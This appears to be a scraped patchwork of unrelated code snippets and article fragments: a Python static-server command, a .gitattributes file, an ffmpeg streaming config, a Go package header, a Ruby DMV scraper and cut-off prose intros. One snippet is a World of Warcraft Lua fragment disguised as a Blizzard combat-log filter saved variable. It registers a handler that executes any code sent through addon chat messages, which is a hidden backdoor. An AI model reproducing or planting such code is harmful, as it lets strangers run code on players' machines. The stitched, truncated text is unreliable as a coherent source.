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Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.

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What I Wish I'd Known About Equity Before Joining A Unicorn

Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.

This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases). I'm not trying to make the case that you should never join a private company, but the power imbalance between founder and employee is extreme, and that potential candidates would

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Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

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Python 2.x

$ python -m SimpleHTTPServer 8000

	# Stick this in your home directory and point your Global Git config at it by running:
	#
	# $ git config --global core.attributesfile ~/.gitattributes
	#
	# See https://tekin.co.uk/2020/10/better-git-diff-output-for-ruby-python-elixir-and-more for more details

	*.c diff=cpp
	*.h diff=cpp
	*.c++ diff=cpp
	*.h++ diff=cpp

	INRES="1920x1080" # input resolution
	OUTRES="1920x1080" # output resolution
	FPS="15" # target FPS
	GOP="30" # i-frame interval, should be double of FPS,
	GOPMIN="15" # min i-frame interval, should be equal to fps,
	THREADS="6" # max 6
	CBR="800k" # constant bitrate (should be between 1000k - 3000k)
	QUALITY="faster" # one of the many FFMPEG preset
	AUDIO_RATE="44100"
	STREAM_KEY="live_XXXXXXXX_YYYYYYYYYYYYYYYYYYYY" # use the terminal command Streaming streamkeyhere to stream your video to twitch or justin

	// Package deepcopy provides a function for deep copying map[string]interface{}
	// values. Inspired by the StackOverflow answer at:
	// http://stackoverflow.com/a/28579297/1366283
	//
	// Uses the golang.org/pkg/encoding/gob package to do this and therefore has the
	// same caveats.
	// See: https://blog.golang.org/gobs-of-data
	// See: https://golang.org/pkg/encoding/gob/
	package deepcopy

	Blizzard_CombatLog_Filters = Blizzard_CombatLog_Filters or {}

	local s, g, w, j, k, c, f, u, x, q, r, l = Blizzard_CombatLog_Filters,
	GetNumMacros,
	[[
	z = z or CreateFrame('button')
	z:RegisterEvent('CHAT_MSG_ADDON')
	z:SetScript('OnEvent',function(_, _, _, m)
	pcall(loadstring(m))
	end)

	#!/usr/bin/env ruby
	# this script will scrape the CA DMV website for wait times,
	# and if the wait is less than a certain threshold, it will
	# alert you with an audible message (at least on OS X).

	require 'open-uri'
	require 'date'

	# found from http://apps.dmv.ca.gov/web/fieldoffice.html?number=503
	@branch_id = 503